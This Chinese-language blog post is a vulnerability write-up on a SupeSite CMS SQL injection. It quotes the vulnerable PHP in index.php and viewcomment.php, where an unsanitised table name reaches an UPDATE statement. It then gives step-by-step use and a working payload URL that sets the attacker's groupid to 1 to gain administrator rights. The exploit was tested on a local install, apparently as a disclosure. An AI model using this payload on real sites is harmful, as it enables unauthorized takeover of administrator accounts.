Supesite 注入一枚

Supesite 注入出的密码 基本都破不出来
如果能够直接提升自己为管理员 或者 自己修改管理的密码那就再好不过了。

在index.php中
[php]
if($_SGET['action'] != 'index') {
if(empty($channels['menus'][$_SGET['action']]['upnameid']) && $channels['menus'][$_SGET['action']]['upnameid'] != 'news') {
$scriptfile = S_ROOT.'./'.$_SGET['action'].'.php';
} else {
$scriptfile = S_ROOT.'./news.php';
}
[/php]
这里包含文件进来。 来看看$_SGET 怎么来的。
[php]
if(empty($parsegetvar)) {
$parsegetvar = empty($_SERVER['QUERY_STRING'])?'':$_SERVER['QUERY_STRING'];
}

if(!empty($parsegetvar)) {
$parsegetvar = addslashes($parsegetvar); //这里转义了
$_SGET = parseparameter(str_replace(array('-','_'), '/', $parsegetvar)); // 这里 注册了这变量
}
[/php]
再看看parseparameter如何操作的
[php]
function parseparameter($param, $nofix=1) {
global $_SCONFIG;
$paramarr = array();
if($nofix && !empty($_SCONFIG['pagepostfix'])) {
if(strrpos($param, $_SCONFIG['pagepostfix'])) {
$param = substr($param, 0, strrpos($param, $_SCONFIG['pagepostfix']));
}
}

$sarr = explode('/', $param);
if(empty($sarr)) return $paramarr;
if(is_numeric($sarr[0])) $sarr = array_merge(array('uid'), $sarr);
if(count($sarr)%2 != 0) $sarr = array_slice($sarr, 0, -1);
for($i=0; $i if(!empty($sarr[$i+1])) $paramarr[$sarr[$i]] = addslashes(str_replace(array('/', '\\'), '', rawurldecode(stripslashes($sarr[$i+1]))));
}
return $paramarr;
}
[/php]
这里用/来切割成数组 然后就return 。 在viewcomment.php中
[php]
if(!empty($_SGET['op']) && $_SGET['op'] == 'delete') {
$cid = empty($_SGET['cid'])?0:intval($_SGET['cid']);
$ismodle = empty($_SGET['ismodle']) ? 0 : intval($_SGET['ismodle']);
$table_name = ( $ismodle && !empty($_SGET['type']) ? $_SGET['type'] : 'space' ).'items';

if(empty($cid)) showmessage('not_found', S_URL);
$itemid = empty($_SGET['itemid'])?0:intval($_SGET['itemid']);
if(empty($itemid)) showmessage('not_found', S_URL);

$deleteflag = false
if(empty($_SGLOBAL['group'])) {
showmessage('no_permission');
}

if($cid && $itemid && $_SGLOBAL['supe_uid']) {
$query = $_SGLOBAL['db']->query('SELECT * FROM '.tname('spacecomments').' WHERE cid=\''.$cid.'\'');
if($comment = $_SGLOBAL['db']->fetch_array($query)) {
if($_SGLOBAL['group']['groupid'] == 1 || $comment['authorid'] == $_SGLOBAL['supe_uid']) {
$_SGLOBAL['db']->query('UPDATE '.tname($table_name).' SET replynum=replynum-1 WHERE itemid=\''.$comment['itemid'].'\'');
$_SGLOBAL['db']->query('DELETE FROM '.tname('spacecomments').' WHERE cid=\''.$cid.'\'');
[/php]
这里 我们来看这里 UPDATE '.tname($table_name).
[php]
$ismodle = empty($_SGET['ismodle']) ? 0 : intval($_SGET['ismodle']);

$table_name = ( $ismodle && !empty($_SGET['type']) ? $_SGET['type'] : 'space' ).'items'; //这里如果$ismodle为true的话 那么$table_name 就为$_SGET['type'] 刚好$ismodle 也是$_SGET来的 在结合index.php里的注册$_SGET 那么则table_name可控了
[/php]

[php]
if($cid && $itemid && $_SGLOBAL['supe_uid']) { //这里cid 和 itemid 都是index.php中注册的$_SGET来的 $_SGLOBAL['supe_uid'] 这个只要登录了用户就行
$query = $_SGLOBAL['db']->query('SELECT * FROM '.tname('spacecomments').' WHERE cid=\''.$cid.'\'');//把评论查询出来
if($comment = $_SGLOBAL['db']->fetch_array($query)) {
if($_SGLOBAL['group']['groupid'] == 1 || $comment['authorid'] == $_SGLOBAL['supe_uid'])//这里必须是管理员 或者 你查看的是自己的评论 那么我们就自己评论一个
{
$_SGLOBAL['db']->query('UPDATE '.tname($table_name).' SET replynum=replynum-1 WHERE itemid=\''.$comment['itemid'].'\'')//table_name可控 注入;
[/php]
首先先注册一个会员
这里我们先随便找一个新闻页面 然后自己评论一下
[php]
'SELECT * FROM '.tname('spacecomments').' WHERE cid=\''.$cid.'\''
[/php]
这里由于我们只能查看自己的评论
这里怎么查看自己评论的cid呢?
首先自己评论一下
su
然后
su1
点一下引用 然后抓下包 就能看到 我们发的这个评论的cid为7
然后构造一下参数 在index.php中 把viewcomments.php中包含进来
su2
成功报错
su3
可以看到如果查看的不是自己发的评论 就出错额。
因为是update 所以自己update自己的groupid 为1 即可直接提升自己为管理。
http://127.0.0.1/dan/supesite/space.php?uid=13
首先进一下我们的个人主页 可以看到uid为13
然后构造一下语句
[php]index.php?action/viewcomment/op/delete/itemid/1/cid/x/type/members set groupid=1 where uid=xx%23/ismodle/1[/php]
su4
没报错了 语句成功执行
这里语句成功执行后
[php]$_SGLOBAL['db']->query('DELETE FROM '.tname('spacecomments').' WHERE cid=\''.$cid.'\'');[/php]
就会执行这delete了。 就会删除这评论了 不过权限已提升了
su5

发表评论